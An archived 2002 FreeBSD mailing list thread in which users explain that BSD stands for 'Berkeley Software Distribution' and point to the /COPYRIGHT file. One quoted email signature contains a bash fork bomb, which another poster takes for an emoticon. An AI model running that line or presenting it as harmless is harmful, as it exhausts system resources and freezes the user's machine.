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Benjamin Krueger

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Apr 23, 2002, 11:36:27 PM4/23/02
to Peter Leftwich, FreeBSD Questions LIST
* Peter Leftwich (Hostm...@Video2Video.Com) [020423 20:29]:
> http://www.freebsd.org/
> http://www.freebsd.org/doc/en_US.ISO8859-1/books/faq/introduction.html#WHAT-IS-FREEBSD
>
> Neither URL nor the actual physical 4.3 CDROM seem to mention BSDi,
> OpenBSD, NetBSD, or what that pesky 'D' stands for... Berkeley Systems D--?
>
> --
> Peter Leftwich D.*
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> *Dumbass

Distribution ;)
Research why it originally was named this, and you'll find a lovely tale of
BSD and UNIX's history, and how they're so intertwined. =)

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Benjamin Krueger

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Apr 23, 2002, 11:40:18 PM4/23/02
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* Benjamin Krueger (benj...@macguire.net) [020423 20:35]:

> * Peter Leftwich (Hostm...@Video2Video.Com) [020423 20:29]:
> > http://www.freebsd.org/
> > http://www.freebsd.org/doc/en_US.ISO8859-1/books/faq/introduction.html#WHAT-IS-FREEBSD
> >
> > Neither URL nor the actual physical 4.3 CDROM seem to mention BSDi,
> > OpenBSD, NetBSD, or what that pesky 'D' stands for... Berkeley Systems D--?
> >
> > --
> > Peter Leftwich D.*
> > President & Founder
> > Video2Video Services
> > Box 13692, La Jolla, CA, 92039 USA
> > +1-413-403-9555
> >
> > *Dumbass
>
> Distribution ;)
> Research why it originally was named this, and you'll find a lovely tale of
> BSD and UNIX's history, and how they're so intertwined. =)

I should also mention that it is "Berkeley Software Distribution", not
Systems, spearheaded and originally released by none other than Bill Joy. Bill
went on to cofound SUN Microsystems.

I'd better shut up now. I could go on for hours.

Edwin Groothuis

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Apr 23, 2002, 11:45:16 PM4/23/02
to Peter Leftwich, freebsd-...@freebsd.org
On Tue, Apr 23, 2002 at 08:30:21PM -0700, Peter Leftwich wrote:
> http://www.freebsd.org/
> http://www.freebsd.org/doc/en_US.ISO8859-1/books/faq/introduction.html#WHAT-IS-FREEBSD
>
> Neither URL nor the actual physical 4.3 CDROM seem to mention BSDi,
> OpenBSD, NetBSD, or what that pesky 'D' stands for... Berkeley Systems D--?

Berkeley Software Distribution

You can see it in /COPYRIGHT on your harddisk. Well, if you have
it installed that is :-)

Edwin

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Peter Leftwich

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Apr 25, 2002, 12:51:01 AM4/25/02
to Edwin Groothuis, FreeBSD LIST
On Wed, 24 Apr 2002, Edwin Groothuis wrote:
> > Neither URL nor the actual physical 4.3 CDROM seem to mention BSDi, OpenBSD, NetBSD, or what that pesky 'D' stands for... Berkeley Systems D--?
> Berkeley Software Distribution - You can see it in /COPYRIGHT on your harddisk. Well, if you have it installed that is :-) -Edwin

> Edwin Groothuis | Personal website: http://www.MavEtJu.org
> ed...@mavetju.org | Interested in MUDs? Visit Fatal Dimensions:

Wow, I had no idea I had a /COPYRIGHT file, nor did I recall that I had (or
shouldn't I have?) a /HARDWARE and /ERRATA files...

prompt$ cat -n /COPYRIGHT | grep -i distribution | grep BSD
68 NOTE: The copyright of UC Berkeley's Berkeley Software Distribution ("BSD")
77 As you know, certain of the Berkeley Software Distribution ("BSD") source

Odd that the full nomer isn't mentioned in the first 10 lines ;-)

> bash$ :(){ :|:&};: | http://www.FatalDimensions.org/

Is that an emoticon of a frowney-face puking?

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